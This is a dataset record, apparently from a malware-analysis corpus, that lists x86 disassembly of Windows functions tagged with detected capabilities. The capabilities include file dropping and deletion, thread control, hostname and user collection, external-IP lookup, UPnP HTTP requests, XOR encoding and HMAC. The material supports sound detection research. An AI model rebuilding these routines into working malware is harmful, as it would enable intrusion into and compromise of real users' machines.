joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100074af
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push esi
xor esi, esi
cmp dword [ebp + 8], 1
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
je 0x100074de
cmp dword [ebp + 8], 2
je 0x100074de
or eax, 0xffffffff
jmp 0x10007652
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call fcn.1001c070
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, esi
jne 0x100074fb
push 0xfffffffffffffffe
pop eax
jmp 0x10007652
push ebx
push edi
push dword [ebp + 8]
lea edi, [ebp - 0xa0]
call fcn.100071ea
push esi
push 0x1002a648
mov ebx, 0x100390c0
push ebx
call fcn.10016f50
push esi
mov ecx, edi
push ecx
mov edi, 0x1002a3bc
push edi
push eax
mov dword [ebp - 0x20], eax
call fcn.10016f50
add esp, 0x20
push esi
push dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.1001ff60
add esp, 0xc
mov dword [ebp + 8], eax
cmp eax, esi
jg 0x10007564
mov dword [ebp - 4], 0xfffffffd
jmp 0x10007603
push 2
push 0x10038b44
push 2
push dword [ebp - 0x10]
call fcn.10017b80
add esp, 0x10
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x1000758b
mov dword [ebp - 4], 0xfffffffc
jmp 0x10007614
push dword [ebp + 8]
push dword [ebp - 0xc]
push eax
call fcn.10017f90
add esp, 0xc
test eax, eax
jns 0x100075a7
mov dword [ebp - 4], 0xfffffffb
jmp 0x10007603
lea eax, [ebp - 8]
push esi
push eax
call fcn.100180d0
push esi
lea eax, [ebp - 0xa0]
push eax
push edi
push ebx
mov dword [ebp - 0x1c], esi
call fcn.10016f50
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
call fcn.1001ba80
add esp, 0x20
test eax, eax
jns 0x100075dd
mov dword [ebp - 4], 0xfffffff9
lea eax, [ebp - 0x1c]
push 0xfffffffffffffffe
push eax
call fcn.10013990
pop ecx
pop ecx
cmp dword [ebp - 4], esi
jne 0x10007601
call fcn.10007274
test eax, eax
jns 0x10007614
mov dword [ebp - 4], 0xfffffffa
jmp 0x10007603
jge 0x10007614
cmp dword [ebp - 8], esi
je 0x10007614
lea eax, [ebp - 8]
push esi
push eax
call fcn.100180d0
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
call fcn.10013990
pop ecx
pop ecx
pop edi
pop ebx
cmp dword [ebp + 8], esi
jle 0x1000762c
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc]
push esi
push eax
call fcn.10013990
lea eax, [ebp - 0x20]
push 0xfffffffffffffffe
push eax
call fcn.10013990
lea eax, [ebp - 0x10]
push 0xfffffffffffffffe
push eax
call fcn.10013990
mov eax, dword [ebp - 4]
add esp, 0x18
pop esi
leave
ret
Function at 0x10007655
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
and dword [ebp - 4], 0
push ebx
xor ebx, ebx
push 0x31
inc ebx
call fcn.10015b10
pop ecx
test eax, eax
je 0x100077a9
push 0
call fcn.100191e0
push eax
push 0x1002a65c
push 0x100390c0
call fcn.10016f50
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x100077a9
push esi
push 0x1388
push 0x1003a728
call fcn.10018810
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1000779b
push dword [ebp - 4]
call fcn.1001bce0
pop ecx
test eax, eax
jne 0x100076fd
push 0x93a80
push 0x2b
call fcn.10015fc0
pop ecx
pop ecx
test eax, eax
jne 0x100076f2
call fcn.10006e1d
push 0x2b
call fcn.10016070
mov dword [esp], 0x10038b44
push 0
call fcn.10015c00
pop ecx
pop ecx
push dword [ebp - 4]
call fcn.10019ba0
pop ecx
mov ebx, eax
push esi
call fcn.100188d0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jle 0x1000779b
lea eax, [ebp - 0xc]
push eax
call fcn.10014080
push 0x33
call fcn.10015b10
pop ecx
pop ecx
test eax, eax
jne 0x10007777
push 0x12
call fcn.10015b10
pop ecx
test eax, eax
jne 0x1000773e
call fcn.10020250
test eax, eax
je 0x10007777
push 0
call fcn.10014080
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x218]
push str._s._u
push 0x104
push eax
call fcn.10013ca0
add esp, 0x18
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x1000769c
push dword [ebp - 4]
call fcn.1000327d
pop ecx
test eax, eax
js 0x1000779b
push dword [ebp - 4]
call fcn.1001bb80
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1000769c
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.10013990
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x10007dfd
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
and dword [ebp - 4], 0
push 0x100394fc
push 0xa
lea eax, [ebp - 0x14]
push 6
push eax
call fcn.100169c0
lea eax, [ebp - 0x14]
push eax
call fcn.10016d40
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
jne 0x10007e34
push 0xa
pop eax
leave
ret
push esi
push dword [ebp + 0x10]
mov esi, 0x1ff
push dword [ebp + 0xc]
lea eax, [ebp - 0x814]
push 0x1002a6b0
push esi
push eax
call fcn.10013ca0
push dword [ebp + 0x18]
lea eax, [ebp - 0x814]
push dword [ebp + 0x14]
push eax
call fcn.10007bf0
add esp, 0x20
test eax, eax
je 0x10007e73
push 2
pop esi
jmp 0x10007f0e
push dword [ebp - 4]
lea eax, [ebp - 0x814]
push eax
push str._s_s.exe
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.10013ca0
lea eax, [ebp - 0x414]
push eax
push dword [edi + 0x628]
call fcn.1001fc80
add esp, 0x1c
test eax, eax
jns 0x10007eac
push 3
jmp 0x10007e6d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x414]
push eax
call fcn.1001bce0
pop ecx
test eax, eax
je 0x10007ea8
lea eax, [ebp - 0x414]
push eax
push edi
call dword [edi + 0x624]
push dword [ebp - 4]
lea eax, [ebp - 0x414]
push dword [edi + 0x62c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007d4d
add esp, 0x1c
test eax, eax
jne 0x10007f0c
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 5
jmp 0x10007e6d
xor esi, esi
push 1
push 0
lea eax, [ebp - 0x814]
push eax
call dword [0x100379f0]
lea eax, [ebp - 4]
push 0
push eax
call fcn.10013990
pop ecx
pop ecx
mov eax, esi
pop esi
leave
ret
Function at 0x1000842a
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
xor esi, esi
push 0x28
lea eax, [ebp - 0x30]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.10013ba0
push 0x50
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.10013ba0
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x630]
add esp, 0x18
xor edi, edi
mov dword [ebp - 8], edi
lea esi, [ebp - 0x80]
test ebx, ebx
je 0x100084c2
cmp dword [ebp + edi*4 - 0x30], 0
jne 0x100084b9
mov eax, dword [ebp + 8]
push 1
push dword [ebx + 4]
call dword [eax + 0x620]
pop ecx
pop ecx
test eax, eax
je 0x1000848a
mov ebx, dword [ebx]
jmp 0x100084bd
mov eax, dword [ebp + 8]
mov dword [esi], eax
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push esi
push 0x100081d6
push eax
push eax
mov dword [ebp + edi*8 - 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000857d
inc dword [ebp - 4]
mov dword [ebp + edi*4 - 0x30], eax
mov ebx, dword [ebx]
inc edi
add esi, 8
cmp edi, 0xa
jb 0x10008467
cmp dword [ebp - 4], 0
je 0x10008579
push 0x112a880
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, eax
cmp ecx, dword [ebp - 4]
jb 0x100084f9
cmp ecx, 0x80
jb 0x1000850c
mov eax, dword [ebp - 4]
sub eax, 0xffffff80
cmp ecx, eax
jae 0x1000850c
push 0xa
lea edi, [ebp - 0x80]
lea edx, [ebp - 0x30]
pop eax
call fcn.100083f4
dec dword [ebp - 4]
jmp 0x10008568
cmp ecx, 0x102
jne 0x1000857d
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x10008568
push 1
push dword [ebp + esi*4 - 0x30]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + esi*8 - 0x7c]
push 4
push 0
push 0
push dword [eax + 4]
push edi
call dword [edi + 0x61c]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xa
lea edi, [ebp - 0x80]
lea edx, [ebp - 0x30]
pop eax
mov ecx, esi
call fcn.100083f4
dec dword [ebp - 4]
inc esi
cmp esi, dword [ebp - 4]
jb 0x1000851b
test ebx, ebx
jne 0x1000845f
cmp dword [ebp - 4], ebx
ja 0x1000845f
xor eax, eax
jmp 0x10008580
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100085e0
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x10035148]
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [eax], ebx
jne 0x1000861d
push ebx
push 0x10035148
call fcn.10016520
pop ecx
pop ecx
test eax, eax
jns 0x1000861d
xor eax, eax
jmp 0x1000875c
push 0x650
call fcn.10013960
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10008616
mov ecx, dword [ebp + 8]
push dword [ebp + 0x18]
mov dword [eax + 0x618], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x61c], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x620], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax + 0x624], ecx
call fcn.10016c90
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x628], eax
cmp dword [ebp + 0x1c], ebx
je 0x10008696
push dword [ebp + 0x1c]
call edi
test eax, eax
jle 0x10008696
push dword [ebp + 0x1c]
call fcn.10016c90
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x62c], eax
jmp 0x1000869f
mov eax, dword [ebp - 4]
mov dword [eax + 0x62c], ebx
mov eax, dword [ebp - 4]
lea ecx, [eax + 0x628]
cmp dword [ecx], ebx
jne 0x100086c5
push ebx
push ecx
call fcn.10013990
lea eax, [ebp - 4]
push ebx
push eax
call fcn.10013990
add esp, 0x10
jmp 0x10008616
lea ecx, [ebp - 8]
push ecx
add eax, 0x18
push eax
mov dword [ebp - 8], 0x200
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
add eax, 0x218
push eax
mov dword [ebp - 8], 0x200
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 4]
add eax, 0x18
cmp eax, ebx
je 0x10008750
lea ecx, [ebp - 0x1c]
push ecx
push 0x64
push eax
call dword [0x100379e8]
test eax, eax
jne 0x10008744
cmp dword [ebp - 0x14], ebx
je 0x10008744
push dword [ebp - 0x14]
call edi
mov ecx, eax
add ecx, ecx
mov eax, 0x1fe
cmp ecx, eax
ja 0x1000872d
push dword [ebp - 0x14]
call edi
add eax, eax
push eax
mov eax, dword [ebp - 4]
push dword [ebp - 0x14]
add eax, 0x418
push eax
call fcn.10013ac0
add esp, 0xc
jmp 0x10008750
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [ecx + 0x418], ax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
Function at 0x1000a17a
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 6
push 1
xor edi, edi
push 2
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000a1a0
xor eax, eax
jmp 0x1000a212
push esi
mov esi, 0x1300
push esi
call fcn.10013960
pop ecx
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000a1e1
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push esi
push eax
push edi
push edi
push 0x4004747f
push ebx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x1000a1e1
mov eax, dword [ebp - 8]
push 0x4c
xor edx, edx
pop ecx
div ecx
mov dword [0x10037a1c], eax
cmp eax, edi
jne 0x1000a1f8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 4]
push esi
push eax
call fcn.10013990
pop ecx
pop ecx
xor eax, eax
jmp 0x1000a211
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x1000a20e
mov ecx, dword [0x10037a1c]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
pop esi
pop edi
pop ebx
leave
ret

Function at 0x1000a537
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x15
call fcn.10015b10
pop ecx
test eax, eax
jne 0x1000a5d2
push esi
push edi
xor edi, edi
push 0x21d1
mov dword [ebp - 4], edi
call fcn.10015350
push eax
mov dword [ebp - 4], eax
call fcn.100187b0
mov esi, eax
lea eax, [ebp - 4]
push eax
call fcn.10015460
add esp, 0xc
cmp esi, edi
je 0x1000a5d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.100088f6
mov esi, eax
cmp esi, edi
jne 0x1000a5a4
push 0x1002a5a8
push str.IP_address_is:__strong_
push str.http:__www.ip_adress.com
call fcn.1000678f
mov esi, eax
add esp, 0xc
cmp esi, edi
jbe 0x1000a5d0
push 0xc
call fcn.10013960
pop ecx
cmp eax, edi
je 0x1000a5d0
mov ecx, dword [ebp + 8]
push edi
push edi
push eax
push 0x1000a4b8
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 0xc]
push edi
push edi
mov dword [eax], esi
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
leave
ret

Function at 0x1000a6a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
call fcn.10013960
mov edi, eax
xor edx, edx
pop ecx
cmp edi, edx
jne 0x1000a6ba
xor eax, eax
jmp 0x1000a6e1
cmp dword [ebp + 0xc], edx
jbe 0x1000a6df
push esi
mov esi, dword [ebp + 8]
sub esi, edi
mov eax, edx
and eax, 0xf
mov al, byte [eax + str._vqKepZ]
lea ecx, [edx + edi]
xor al, byte [esi + ecx]
inc edx
mov byte [ecx], al
cmp edx, dword [ebp + 0xc]
jb 0x1000a6c5
pop esi
mov eax, edi
pop edi
pop ebp
ret
Function at 0x1000dff0
Capabilities:
Get local ipv4 addresses
Get socket information
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x938
mov eax, dword [ebp + 0x14]
mov dword [eax], 0
mov ecx, dword [ebp + 0x24]
push ecx
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1000e350
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x1000e027
xor eax, eax
jmp 0x1000e171
cmp dword [ebp + 0x18], 0
je 0x1000e08c
mov dword [ebp - 0x818], 0x80
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0x898]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jge 0x1000e05b
xor ecx, ecx
je 0x1000e059
jmp 0x1000e053
jmp 0x1000e08c
push 0xa
push 0
push 0
mov edx, dword [ebp + 0x1c]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp - 0x818]
push ecx
lea edx, [ebp - 0x898]
push edx
call dword [sym.imp.WS2_32.dll_getnameinfo]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000e08c
xor eax, eax
je 0x1000e08c
jmp 0x1000e086
push 0x9c
push 0
lea ecx, [ebp - 0x938]
push ecx
call fcn.10013ba0
add esp, 0xc
mov dword [ebp - 0x938], 0x9c
lea edx, [ebp - 0x938]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x930]
push eax
mov ecx, dword [ebp - 0x934]
push ecx
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0x20]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push str.GET__s_HTTP__s_r_nHost:__s:_d_r_nConnection:_Close_r_nUser_Agent:_Microsoft_Windows__u._u_UPnP_1.0_r_n_r_n
push 0x800
lea eax, [ebp - 0x810]
push eax
call fcn.10013c30
add esp, 0x24
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x10]
jge 0x1000e14b
push 0
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0xc]
lea ecx, [ebp + eax - 0x810]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x1000e140
xor eax, eax
je 0x1000e130
jmp 0x1000e12a
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000e171
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
jmp 0x1000e0fb
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.1000d3c0
add esp, 8
mov dword [ebp - 0x814], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0x814]
mov esp, ebp
pop ebp
ret
Function at 0x1000e2c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0x18]
add eax, dword [ebp + 0x10]
push eax
call fcn.10013960
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000e2e9
xor eax, eax
jmp 0x1000e34b
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
add eax, dword [ebp + 0x18]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0
mov ecx, dword [ebp + 0x18]
add ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x1000e33a
xor ecx, ecx
je 0x1000e33a
jmp 0x1000e334
push 0
lea edx, [ebp - 4]
push edx
call fcn.10013990
add esp, 8
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x1000e590
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x118], 0
jmp 0x1000e5be
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x108]
jae 0x1000e5e2
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp + edx*4 - 0x104]
cmp eax, dword [ebp + 8]
jne 0x1000e5e0
jmp 0x1000e5e2
jmp 0x1000e5af
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x108]
jne 0x1000e618
cmp dword [ebp - 0x108], 0x40
jae 0x1000e618
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x104], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
xor edx, edx
jne 0x1000e5a3
mov eax, dword [ebp + 0x14]
cdq
mov ecx, 0x3e8
idiv ecx
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 0x14]
cdq
mov ecx, 0x3e8
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0x114]
push edx
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0x40
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x1000e67a
xor ecx, ecx
je 0x1000e673
jmp 0x1000e66d
or eax, 0xffffffff
jmp 0x1000e6b6
cmp dword [ebp - 0x10c], 0
jne 0x1000e687
xor eax, eax
jmp 0x1000e6b6
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x1000e6b0
xor edx, edx
je 0x1000e6b0
jmp 0x1000e6aa
mov eax, dword [ebp - 0x10c]
mov esp, ebp
pop ebp
ret

Function at 0x10010b56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor eax, eax
test esi, esi
je 0x10010b81
mov edx, dword [ebp + 8]
push ebx
push edi
mov edi, dword [ebp + 0xc]
lea ecx, [edi + esi]
sub edx, edi
dec ecx
movzx edi, byte [edx + ecx]
movzx ebx, byte [ecx]
xor edi, ebx
or eax, edi
dec esi
jne 0x10010b70
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x10010cbd
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
cmp edi, 0x40
jbe 0x10010cf6
push str.cryptodigesthmac.c
push str.psAssert__s
call fcn.10010cbc
push 0xb6
push str.:_d
call fcn.10010cbc
push str.keyLen___64
call fcn.10010b84
add esp, 0x14
mov esi, dword [ebp + 8]
test edi, edi
je 0x10010d12
mov ecx, dword [ebp + 0xc]
mov eax, esi
sub ecx, esi
mov edx, edi
mov bl, byte [ecx + eax]
xor bl, 0x36
mov byte [eax], bl
inc eax
dec edx
jne 0x10010d06
cmp edi, 0x40
jae 0x10010d2b
push 0x40
pop ecx
sub ecx, edi
push ecx
lea eax, [esi + edi]
push 0x36
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ebx, [esi + 0x80]
push ebx
call fcn.100128aa
push 0x40
push esi
push ebx
call fcn.10012911
add esp, 0x10
test edi, edi
je 0x10010d5c
mov ecx, dword [ebp + 0xc]
mov eax, esi
sub ecx, esi
mov edx, edi
mov bl, byte [eax + ecx]
xor bl, 0x5c
mov byte [eax], bl
inc eax
dec edx
jne 0x10010d50
cmp edi, 0x40
jge 0x10010d74
push 0x40
pop eax
sub eax, edi
push eax
add esi, edi
push 0x5c
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10010e52
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x14], 0x30
push ebx
push esi
push edi
push 0x40
pop ebx
jne 0x10010e64
add ebx, 0x40
mov edi, dword [ebp + 0x10]
cmp edi, ebx
jbe 0x10010e96
push str.cryptodigesthmac.c
push str.psAssert__s
call fcn.10010cbc
push 0x121
push str.:_d
call fcn.10010cbc
push str.keyLen____uint32_padLen
call fcn.10010b84
add esp, 0x14
mov esi, dword [ebp + 8]
test edi, edi
je 0x10010eb5
mov ecx, dword [ebp + 0xc]
mov eax, esi
sub ecx, esi
mov dword [ebp + 0x10], edi
mov dl, byte [ecx + eax]
xor dl, 0x36
mov byte [eax], dl
inc eax
dec dword [ebp + 0x10]
jne 0x10010ea7
cmp edi, ebx
jge 0x10010ecc
mov ecx, ebx
sub ecx, edi
push ecx
lea eax, [esi + edi]
push 0x36
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0x14], 0x30
lea eax, [esi + 0x80]
push eax
jne 0x10010eee
call fcn.1001308c
push ebx
lea eax, [esi + 0x80]
push esi
push eax
call fcn.1001313d
jmp 0x10010f01
call fcn.1001333c
push ebx
lea eax, [esi + 0x80]
push esi
push eax
call fcn.100133b8
add esp, 0x10
test edi, edi
je 0x10010f20
mov ecx, dword [ebp + 0xc]
mov eax, esi
sub ecx, esi
mov dword [ebp + 0x14], edi
mov dl, byte [eax + ecx]
xor dl, 0x5c
mov byte [eax], dl
inc eax
dec dword [ebp + 0x14]
jne 0x10010f12
cmp edi, ebx
jge 0x10010f34
sub ebx, edi
push ebx
add esi, edi
push 0x5c
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret